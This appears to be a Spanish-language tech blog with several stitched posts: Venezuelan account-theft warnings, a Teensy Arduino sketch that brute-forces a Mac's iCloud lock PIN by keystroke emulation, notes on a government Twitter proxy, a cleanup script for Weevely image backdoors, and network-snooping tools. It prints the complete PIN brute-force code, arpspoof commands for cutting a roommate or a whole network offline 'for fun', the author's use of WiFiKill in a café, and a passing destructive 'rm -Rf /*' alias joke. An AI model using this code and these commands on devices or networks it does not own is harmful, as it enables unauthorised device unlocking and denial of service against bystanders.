Se que suena ilógico, pero si vives en Venezuela, Cuba, Iran, Argentina, China, o cualquier otro país donde sospechas que el gobierno no le agrada mucho tu libertad de expresión debes deshabilitar la verificación de dos factores y desvincular tu celular inmediatamente.

Si tienes duda de como hacerlo, aqui te dejo un video:


El problema es que pocas empresas se imaginan que van a ser de vital importancia en países donde sus ciudadanos son oprimidos y donde el estado tiene acceso a sistemas de mensajería mobil sin orden judicial ni debido proceso como el caso de Venezuela donde Mario Silva en conjunto con Juan Almeida pinchaban teléfonos a diestra y siniestra en vivo en television.

Actualmente son los mismos personajes los que están detrás de la reciente ola de robos de cuentas y lo hacen forzando el mecanismo de verificación de dos factores a que envié un código de 6 dígitos de emergencia (en caso de que pierdas tu dispositivo) al numero de celular apoderándose de tu cuenta en cuestión de segundos.

Por ultimo, recomiendo periódicamente revisar que aplicaciones haz autorizado y revocar cualquiera que ya no uses, que no reconozcas o que sospeches que tiene un comportamiento abusivo.


Modus operandi

Para propagar su ataque dependían un poco de ingeniería social, se hacían pasar por su actual víctima para afectar mas usuarios y de esta forma silenciar sus cuentas.Así operan los robacuentas del gobierno:

  1. Se apoderan de una cuenta importante de la que saben el teléfono asociado vía SMS.
  2. Desde esa cuenta envían un mensaje privado a sus próximas víctimas diciendo que tienen un notición pero prefieren compartirlo via whatsapp para lo que piden "cuenta de de whatsapp" (numero telefónico).
  3. Se mueven a la próxima cuenta y repiten el proceso.

Si tienes alguna otra sugerencia puedes dejarla en los comentarios para irla agregando a este articulo y terminar con una lista solida pero simple de como cuidarnos.

Recientemente escribí sobre como llevar a cabo un ataque de fuerza bruta contra el bloqueo del EFI de una Mac y aunque al principio no logre lo que quería fue solo cuestión de horas para que alguien revisara mi código y se diera cuenta del bug que lo afectaba. Hoy en día el código funcional al 100% y ya se han desbloqueado varias Mac usando este procedimiento.

Cuando una computadora Apple es bloqueada remotamente desde un dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El articulo que comentaba anterior mente se enfoca en el bloqueo del EFI mientras que este se enfocara en el del OS también conocido como PIN de iCloud.

A la Izquierda (Logo de Apple)  se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI

A la Izquierda (Logo de Apple) se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI.

Tras un poco de ensayo y error y con ayuda de la comunidad de MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese atacar PIN del iCloud, aquí les dejo el código:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;

//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
  digitalWrite(ledPin, LOW);
}

void loop(){
  keyboard_modifier_keys = 0;
  //lets wait 1minute and 1 second
  if (firstloop >= 5){
    delay(61000);
    firstcompleted = true;
    digitalWrite(ledPin, LOW);
  }
  else if ((firstloop < 5) && (firstcompleted == false)){
    digitalWrite(ledPin, HIGH);
    ++firstloop;
    digitalWrite(ledPin, LOW);
  }
  //lets wait 5 minutes and one second
  if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
    delay(301000);
    secondloop = 0;
    secondcompleted = true;
    digitalWrite(ledPin, LOW);
  }
  else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
    ++secondloop;
    digitalWrite(ledPin, LOW);
  }
  //lets wait 15 minutes and 1 second
  if ((thirdloop >= 1) && (secondcompleted == true)){
    delay(901000);
    thirdloop = 0;
    secondcompleted = false;
    firstcompleted = false;
    firstloop = 0;
    secondloop = 0;
    thirdloop = 0;
    digitalWrite(ledPin, LOW);
  }
  else if ((thirdloop < 1) && (secondcompleted == true)){
    ++thirdloop;
    digitalWrite(ledPin, LOW);
  }
  //lets get to work
  if (counter <= 9999){
    delay(100503);
    digitalWrite(ledPin, LOW);
    delay(7049);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(405);
    Keyboard.release(KEY_ENTER);
    digitalWrite(ledPin, LOW);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.

Siéntanse libres de clonarlo, hacer forks y contribuir.

Un miembro de la comunidad de MacRumors hizo una versión mas simple y elegante de este que lo pueden ver aquí: How to: Unlock System Lock PIN Code.

Supongo que con un botón y poca modificación del código se podrían tener las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin necesidad de programarlo.

El gobierno venezolano se prepara para elecciones regionales con un proxy de Twitter que se presta para ataques de phishing. ¿Que planean al montar un proxy de Twitter?

Como muchos recordaran durante las pasadas elecciones presidenciales de Venezuela parte de la población tuvo problemas para resolver dominios momentáneamente. El usuario final por lo general lo resolvia reiniciando su computadora, simultáneamente muchos sitios que eran favorecidos por opositores sufrieron ataques de DDoS.

Este año con la penetración de las redes sociales y el uso que la comunidad estudiantil de Venezuela le han dado para hacer llegar su mensaje y denuncia de injusticias; el Gobierno Venezolano prepara de nuevo una arremetida.


Repetir como loritos

Como todos saben el candidato presidencial y actual presidente de la república usa el twitter handle @chavezcandanga el cual es controlado por lo que asumo es su comité de P.R.

Este mismo grupo tiene una aplicación compatible con twitter que convierte a cada uno de quienes la usen en robotos (bots) que retuitearan lo que el publique automáticamente. Esto sin contar que cerca del 46% de los seguidores de @chavezcandanga son usuarios que solo tienen un tweet o menos, tienen un seguidor o menos cosa que para mi, los convierte en cuentas falsa y bots.

aplicación RTChavezCandanga alojada en servidores del estado Venezolano para manipular tendencias y generar matrices de opinion.

Para que no quede duda de quien esta detrás de este proxy vamos a consultar la base de datos de registro de dominios la cual la mantiene el mismo estado venezolano.

Pruebas de que es el PSUV el responsable de el dominio detras de todo esto.

Por lo pronto queda claro que es el PSUV (Partido Socialista Unido de Venezuela) el responsable financiero, técnico y administrativo de el dominio detrás de todo esto.


La estocada que se prepara

Lo que me preocupa este momento es que la misma dirección IP que alojael subdominio http://mensajes.chavezcandanga.org.ve/ también aloja un proxy a twitter que hasta ahora no contiene código malicioso (que yo vea). Pero no quiere decir que esto vaya a cambiar días antes de las elecciones o durante.

En estos momentos pueden verlo por ustedes mismos pero en caso de que CONATEL (ente que controla esta IP) tumbe el proxy, la pagina que distribuye la aplicación para enviar enviar spam en twitter y quien sabe que mas, aquí les dejo unas capturas de pantalla.

Proxy a twitter alojado en servidores del gobierno del estado Venezolano

Como ven la IP en cuestion es 190.202.80.20 y que difieren de las IPs de twitter como pueden ver:

host twitter.com | grep address
twitter.com has address 199.59.149.230
twitter.com has address 199.59.150.39
twitter.com has address 199.59.148.82

Investigando un poco mas a fondo podemos ver que de hecho la IP que aloja este proxy a twitter de hecho apunta a otro dominio:

Proxy a twitter alojado en servidores del gobierno del estado Venezolano

Para los que se están preguntando la fuente de esta noticia o como me entere, al parecer un seguidor de un contacto en twitter fue el que dio con esta "coincidencia" como pueden ver en este tweet:



Update: Diciembre 15, 2012

Aun http://190.202.80.20 apunta a un proxy de Twitter aunque sigue sin código malicioso deben estar pendientes para las elecciones regionales en Venezuela a celebrarse el Domingo 16. Recomiendo que sigan atentos a los certificados SSL y eviten usar sus credenciales si "misteriosamente" Twitter.com se las pide y la URL no tiene el prefijo HTTPS.

Mas de una vez he intenten ejecutar sl cuando intentan ejecutar ls para listar archivos y directorios, es un error que todos cometemos pero ¿que pasaria si sl en realidad fuese un comando?. Afortunadamente para nuestro entretenimiento hay una aplicación de nombre sl y consiste en un tren ascii que sale en el terminal cada vez al momento de ejecutar sl. Perfecto para una broma practica, instalarlo en un servidor que muchas personas usan y esperar a escuchar los cuentos.

Aquí les dejo un video que muestra como instalarlo y como se ve al momento de ejecutarlo.


En caso de que no puedas ver el video, puedes instalar esta aplicación ejecutando:

su - yum install -y sl

Como ven es inofensivo, o por lo menos menos inofensivo que un ualias a rm -Rf /*, de hecho un compañero de trabajo fue el que me comento sobre esta broma practica. La aplicación sl esta disponible para OSX a través del manejador de paquetes brew.

El día de hoy vi un tweet que me llamo la atención, vinculaba a una pagina que explica como ocultar código php en una imagen para luego ser ejecutado como parte de un exploit. El código maligno lo ocultan en la metadata de la imagen bajo el campo 'Comments' que luego es usado como parte de una consola web llamada Weevely.

El articulo va un poco mas profundo explicando que usan la función passthru() para pasar los comandos al servidor con una petición web y __halt_compiler() para evitar que la imagen siga siendo procesada como un archivo binario.

Aunque no es nada nuevo, recientemente vi que el ocultar código malicioso en imágenes se ha puesto de moda nuevamente, aquí te explico como eliminar código oculto en imágenes de tu servidor.

Eliminar el backdoor Weevely oculto en imágenes de tu servidor.

Si tienes un blog o eres webmaster de una pagina web que acepta que los usuarios suban imágenes, puedes ejecutar este script modificandolo a tu conveniencia.

#!/bin/bash ORVTECH_DIRS="/var/www/htdocs/wordpress/wp-content/uploads/20*" # for ARCHIVO_JPG in `find $ORVTECH_DIRS -type f| grep -i jpg$ `;   do   convert -strip $ARCHIVO_JPG $ARCHIVO_JPG done

Como ven, el script recorre todas las subdirectorios de $ORVTECH_DIRS en busca de imágenes jpg, luego las pasa por imagemagick para quitarle cualquier metadata innecesaria, incluyendo los comentarios. De esta forma terminas con imágenes sin código oculto y un tanto mas ligeras.

El envenenamiento de tablas ARP es sumamente sencillo desde Linux y básicamente lo que hacemos es que le decimos a nuestro computador que responda arbitrariamente a determinadas ARP broadcast enviadas por el switch/router con su dirección MAC, creando así una entrada falsa en las tablas ARP.

Lo que hablaremos en este articulo es como duplicar lo que logra la aplicación wifikill para Android pero bajo Linux.

Envenenamiento de talbas ARP desde Fedora Linux

Negación de servicio usando envenenamiento de tablas ARP.

En ocasiones desearíamos poder desconectar a alguien en particular de la red, bien sea por que se están consumiendo todo el ancho de banda con sus descargas, por que tienen puesta una emisora de radio de internet con música que no nos gusta desde hace cuatro días o simplemente por divertirnos un rato.

Antes de comenzar con los ejemplos, necesitamos instalar arpspoof que en Fedora es parte de dsniff. Anteriormente he hablado de como instalar aplicaciones en Fedora usando la interfaz gráfica, incluso hice un video tutorial pero como estaremos usando la linea de comandos, vamos a hacerlo en esta misma, abran una consola y ejecuten como root:

yum install dsniff -y

Desconectar a un host especifico.

Desconectar a ese roommate fastidioso es sumamente fácil, solo debemos conocer su IP dentro de la red local y ejecutar:

arpspoof -i wlan1 -t 192.168.168.1.3 192.168.1.1

En este ejemplo asumimos que la interfaz de red es wlan1, el IP del host a desconectar es 192.168.168.1.3 y el gateway de la red es 192.168.1.1


Desconectarlos a todos.

Si desconectar a un host en especifico te pareció sencillo, desconectarlos a todos es aun mas fácil. Veamos este ejemplo:

arpspoof -i wlan1 192.168.1.1

Al igual que en el ejemplo anterior asumimos que la interfaz de red es wlan1 y que el gateway es 192.168.1.1 pero omitimos el host por lo que arpspoof asume que son todos los hosts los que queremos bloquear.


NOTA: Este articulo debe ser visto como un tutorial con fines didácticos, no soy responsable por como UDs. Usan estas herramientas. Tengan en cuenta que en algunos lugares el interrumpir comunicaciones en redes publicas puede ser considerado ilegal.

Alguna vez haz querido sacar a alguien de la red WFI donde estas? bien sea simplemente por jugar o el típico 'si no es para mi, tampoco para ti!' como cuando alguien consume todo el ancho de banda descargando necedades. Ahora no tienes que usar la laptop/computadora para esto.

La aplicación wifikill permite desconectar a quien desees de la red WIFI usando envenenamiento de tablas ARP

La aplicación WiFiKill para usuarios con root en su dispositivo Android busca en tu red por dispositivos conectados y luego te da las opciones de desconectar a alguien en particular o de desconectarlos a todos. Aquí les dejo unas capturas de pantalla desde mi HTC Evo 4G:

Wifikill nos permite elegir a quien afectar con este ataque al ARP tables

Wifikill nos permite elegir a quien afectar con este ataque a las tablas ARP.

Solo el iPhone sin acceso a internet, sigue conectado pero no logra comunicarse

Solo el iPhone sin acceso a internet, sigue conectado pero no logra comunicarse.

Dejando a todos sin acceso a internet, siguen conectados pero no logran comunicarse

Dejando a todos sin acceso a internet, siguen conectados pero no logran comunicarse.



Probé esta aplicación por sugerencia de Daniel Velazco en un Ale's House y funciono sin problemas... desde entonces me he divertido un par de veces en un café cercano a mi casa.

La aplicación podía ser descargada del Google Play Store también conocido como Android Market pero por lo que veo justo ahora que estoy a punto de publicar este articulo, esta ha sido excluida. El autor de la aplicación la tiene disponible para que la descarguen en formato APK desde su foro.

Recuerden que en algunos países es ilegal obstruir la libre comunicación y que el uso de WikiKill y su responsabilidad recae solo en ustedes (yo me lavo las manos).

Hoy quiero retomar el tema del NSLU2, el tema de un servidor casero, silencioso y económico. El NSLU2 es un dispositivo que Linksys saco al mercado como un simple NAS sin muchas funciones que se diga pero gracias a esfuerzos de la comunidad se ha podido convertir en un servidor completo. Para Nosotros, los que nos gusta meterle Linux a cualquier cosa que consuma electricidad y tenga conectividad a internet le llamamos de cariño "Slug".

El Slug es una solución completa, barata para jugar con Linux embebido y lo mejor de todo es que el firmware original de Linksys usas el Kernel de Linux por lo tanto liberan el código fuente. Hoy en día aunque ya no tienen tanta actividad Unslung y OpenSlug siguen siendo las principales comunidades orientadas al NSLU2.

Debido a que ya esta descontinuado el NSLU2 no se puede comprar directo en las tiendas si en las que se puede lo cobran excesivamente caro. La solución es comprarlo por vías alternas como eBay, craigslist, etc.

Mi experiencia con el NSLU2 en cuanto a sistemas operativos se limita a Gentoo y Debian, particularmente prefiero Gentoo para este dispositivo ahora que Fedora esta empezando a desarrollar para ARM seria interesante intentar compilarlo para el NSLU2.

El NSLU2 viene limitado a correr a 133MHz pero su procesador en realidad es de 266MHz, para liberarlo es necesario eliminar un transistor. Así que sin miedo desconecten el cable de poder, abran la carcasa y eliminen este transistor:

Como servidor web con sus 266MHz (liberado desde 133MHz) y tan solo 32MB de RAM no es exactamente el tipo de servidores que usaríamos en para hostear el landing page de fedoraproyect.org o el wiki de Fedora pero si podemos tener nuestro blog personal corriendo en conjunto con otros servicios.



El NSLU2 no es la única opción en el mercado, pero es la mejor si tomamos en consideración el costo, al cabo de un anho de estar prendido 24/7 y los beneficios que obtenemos a cambio. Entre las alternativas que les puedo comentar están el DSM-G600 de D-LINK que cuesta alrededor de $50 y la primera versión del Apple TV por $110.


El DSM-G600 es rápido, tiene un procesador de 266MHZ al igual que el NSLU2 pero tiene 64MB de RAM y el almacenamiento es vía IDE en vez de USB 2.0. Lo malo de este dispositivo es que requiere de un ventilador para mantenerlo fresco y sacar el calor que genera el CPU y el disco duro en la carcasa.

La primera versión del AppleTV debería de ser mas rápida aun con su procesador de 1 GHz Intel "Crofton" Pentium M, 256 MB a 400 MHz DDR2 de memoria RAM y almacenamiento mas rápido que el NSLU2. No tengo mas que comentarles respecto a este candidato para servidor porque lo tengo corriendo con XBMC y lo tengo como media center hasta que le consiga remplazo (un google tv?).

Se le puede montar wordpress, joomla o algo así? No, créanme intente correr wordpress con 3 plugins distintos para la DB, intente usar sqlite3 y otros plugins para minimizar la carga de la DB pero no logre correr el blog que soportara mas de 3 conexiones simultaneas.

La buena noticia es que existen alternativas, en mi caso termine por usar Nanoblogger. Nanoblogger es un manejador de contenido que genera contenido estático esto reduce bastante la carga en el NSLU2.

CGI en BASH? No es tan halado de los cabellos como muchos piensan. Yo lo uso para cosas puntuales como una interfaz web para agregar artículos a Nanoblogger o mantener una URL (por ejemplo orvtech.com/ultima.bash siempre apuntando a la ultima URL que ya publicamos).

El limite de lo que puedes hacer con el NSLU2 es como el de Linux, te lo pones tu. Para mi no tiene limites, siempre hay una alternativa a lo que se puede hacer con maquinas potentes, para muestra aquí les dejo una lista de cosas interesantes que he hecho con el NSLU2:

  • Transmisión en vivo de imágenes: Con una demora de tres a cinco minutos un conjunto de scripts corriendo en el NSLU2 puede ser usado para cubrir eventos como el FLISOL, FUDcon, Google IO, eventos deportivos y convenciones en genera. La cobertura puede ser hecha por cualquiera con un dispositivo capaz de tomar fotos y enviarlas por email. Estos scripts manipulan estas imágenes insertando información relevante al evento, por ejemplo mis scripts para cubrir carreras de carros generan imágenes como esta:

    Como ven, en la parte superior tengo la fecha, hora, temperatura y presión atmosférica así como el logo en la parte inferior derecha. Puedes leer mas de este tema pinchando aquí.

  • Un puente de last.fm a gNewBook: Con un script hecho en BASH el NSLU2 puede actualizar nuestro estado en gNewBook.org con la ultima canción escuchada en nuestro perfil de last.fm. Si quieres ver el script, pincha aqui.

  • Comparte archivos vía torrents con tu propio tracker en el NSLU2: Usando bittornado podemos configurar el NSLU2 para que sea un torrent tracker. Para leer mas del tema puedes leer este articulo.

  • Un reproductor de música inalámbrico: Este articulo es una traducción de una mini-guia publicada por "POTUS Camacho", basicamente te explica como usar el NSLU2 y una tarjeta USB de bluetooh para convertir el NSLU2 en un MP3 player inalámbrico. La traducción de este articulo puede ser leída aqui.

Cuando uno habla de hacking o hacks, la mayoría de la gente lo asocia con el típico nerd que vive con su mama y que desde el sótano de su casa irrumpe en otras computadoras. En este articulo voy a hablar un poco de las herramientas disponibles para hacer precisamente eso, pero por motivos didácticos, así que no soy responsable de sus acciones. La mayoría de ustedes han escuchado de nmap y nessus pero que hay de las otras herramientas? echemosle un vistazo y juguemos un poco con la red.

La preferida por muchos es tcpdump, es una herramienta que simplemente nos permite escuchar todo el trafico de la red y graba todos estos paquetes para que luego los podamos analizar. Si tienes mas de una NIC, puedes especificar por cual quieres escuchar pasándole el parámetro -i interfaz. Una cosa que me gusta es que tcpdump pone tu NIC en modo promiscuo (o por lo menos intenta hacerlo) de forma predeterminada, de esta forma puede escuchar todo el trafico de ese segmento de la red. Para deshabilitar el modo promiscuo y limitar el trafico solo a el que le compete a tu NIC puedes usar el parámetro -p. Hay muchos otros parámetros que puedes usar, recuerda ejecutar man tcpdump para mas información.

Aquí les dejo un video que muestra como saber que sitios web estan visitanto desde nuestra red.


Ahora bien, vamos a cuidar nuestras espaldas y supongamos que queremos saber que ordenadores están en tu segmento de red pero queremos evitar enviar paquetes a la red preguntando por estos ordenadores para que no nos delate (recuerda, este tipo de actividad le puede parecer sospechoso al administrador). La herramienta indicada para esta tarea es p0f, esta usa técnicas pasivas para tratar de adivinar que sistemas existen en tu segmento de red y al igual que tcpdump permite especificar la interfaz a usar y grabar trafico guardándolo en un archivo estilo tpcdump.

Nuestras dos herramientas se empiezan a diferenciar a la hora de definir de forma predeterminada el estado de promiscuidad de nuestra NIC, p0f requiere que especifiques que quieres que la NIC este en modo promiscuo y solo escucha cuando un ordenador en nuestra red abre nuevas conexiones. Aquí una lista de parámetros útiles para p0f.

  1. -i Especifica la NIC por la que va a escuchar (p0f -i eth0)
  2. -w Guarda la salida en formato tcpdump (p0f -i eth0 -w laboratorio.dump)
  3. -o Al igual que -w guarda la salida de este comando pero en un archivo de texto sin formato tcpdump
  4. -O Proporciona una salida mas descriptiva. Tambien llamado modo ACK
  5. -p Indica que quieres que ponga la NIC en modo promiscuo (p0f -i eth0 -p)
  6. -s Analiza un archivo que previamente capturaste en formato tcpdump

El problema de todo esto hasta ahora es que es muy probable que el resto de las maquinas esten bajo una NAT y no podamos verlas como tal, solo veremos el router. Uno puede usar el parámetro -M que le indica a p0f que use un algoritmo de detección de enmascaramiento e intenta identificar estas maquinas individualmente.

Supongamos que ya sabemos cuales son los otros ordenadores que existen en nuestra red, ahora lo interesante es saber que tipo de trafico tienen, sera FTP? o tal vez HTTP?, POP?, IMAP? o cualquier otro que sea de nuestro interés. Lo segundo que en mi caso me llama la atención es ver desde donde viene este trafico, con quien se comunican estos otros ordenadores? para responder todo esto podemos usar nuestra tercera herramienta, dsniff.

Esta utilidad al igual que las anteriores nos permite especificar que interfaz queremos usar e incluso podemos usar el parámetro -p para que use archivos que han sido grabados previamente. Puedes habilitar la detección automática de protocolos usando el parámetro -m lo que te va dar detalles crudos de que hacen tus vecinos de red.

La salida de este comando luce algo asi:

~# dsniff -m
dsniff: listening on eth0
-----------------
02/01/11 09:50:19 tcp 10.153.212.26.46004 -> trillian.gtlib.gatech.edu.21 (ftp)
USER anonymous
PASS mailto:axel-devel@lists.alioth.debian.org

-----------------
02/01/11 09:51:50 tcp 10.153.212.26.48257 -> linux.nssl.noaa.gov.21 (ftp)
USER anonymous
PASS mailto:axel-devel@lists.alioth.debian.org

-----------------
02/01/11 09:53:06 tcp 10.153.212.26.39551 -> chernabog.cc.vt.edu.21 (ftp)
USER anonymous
PASS chrome@example.com

Ahora que sabemos quienes están a nuestro alcance, que hacen y con quien, podemos revisar la seguridad de los servicios que prestan, el mas común es el servicio web.

Una herramienta buena para revisar como esta la seguridad de nuestro servidor web es nitko. Puedes seleccionar el hostname con la opción -h incluso puedes pasarle una lista de host o IPs en un archivo de texto. nitko se enfoca en el puerto 80 de forma predeterminada pero puedes alterar esto usando el parámetro -p de hecho tiene un montón de parámetros que puedes usar para pruebas de seguridad especificas... mas de las que quisiera mencionar aquí.

No quería terminar este articulo sin antes mencionar chkrootkit, esta utilidad nos permite analizar sistemas y trata de terminar si han sido manipulados, para ver una lista de las pruebas disponibles puedes usar el parámetro -l. Útil para verificar si el sistema ha sido infectado o si tiene rootkits.

Este articulo es para fines didácticos, para que 'juegues' en tu propia red y no para que dañes sistemas ajenos ni adquieras a información que no te pertenece.

Hoy en día el cuello de botella a nivel de comunicación son los discos duros. con largos tiempos de búsqueda, escritura y lectura son excesivamente lentos si lo comparamos con las velocidades de RAM. Hace unos años era un lujo montar discos virtuales en RAM y se usaban temporalmente y para cosas puntuales como cuando en gentoo se hacia un emerge -e world y montaba /var/tmp/portage en RAM.

Para usuarios que el principal uso de su computadora es navegar en Internet bien sea por trabajo (nagios por ejemplo), escribir artículos o simplemente trolear este tip les puede ser útil si poseen suficiente RAM.

En Fedora podemos mover el cache de Google Chrome y de Firefox a RAM creando un ramdisk y montándolo, luego configuramos los exploradores para que usen estos directorios. Lo primero es editar el archivo /boot/grub/grub.conf y agrega ramdisk_size=512000 justo antes de quiet splash en la linea de kernel que este usando.

 title Fedora ramdisk (2.6.37.i686)
 root (hd1,0)
 kernel /boot/vmlinuz-2.6.37.i686 ro root=UUID=f91d2720-7838-43d3-a3a4-5c993533d0 rd_NO_LUKS rd_NO_LVM rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYBOARDTYPE=pc KEYTABLE=us rhgb ramdisk_size=512000 quiet
initrd /boot/initramfs-2.6.37.img``

Luego edita tu /etc/rc.local y agrega estas lineas para formatear el ramdisk, montarlo, crear los directorios necesarios para FireFox y Chrome y darle la permisologia necesaria.

# RAM disck para cache de browsers
mke2fs -m 0 /dev/ram0
mount /dev/ram0 /tmp/ram/
mkdir -p /tmp/ram/firefox
mkdir -p /tmp/ram/chrome
chmod 777 /tmp/ram/ -R

Estos comandos me funcionan con Fedora (estoy seguro que en cualquier otra distro funcionaria). Para hacer que FireFox guarde su cache allí debes agregar o modificar su conflagración específicamente la llave browser.cache.disk.parent_directory con el valor /tmp/ram/firefox, Para Google Chrome es un poco mas fácil, simplemente pasale el parámetro –disk-cache-dir=”/tmp/ram/” al arranque.

[gallery link="file"]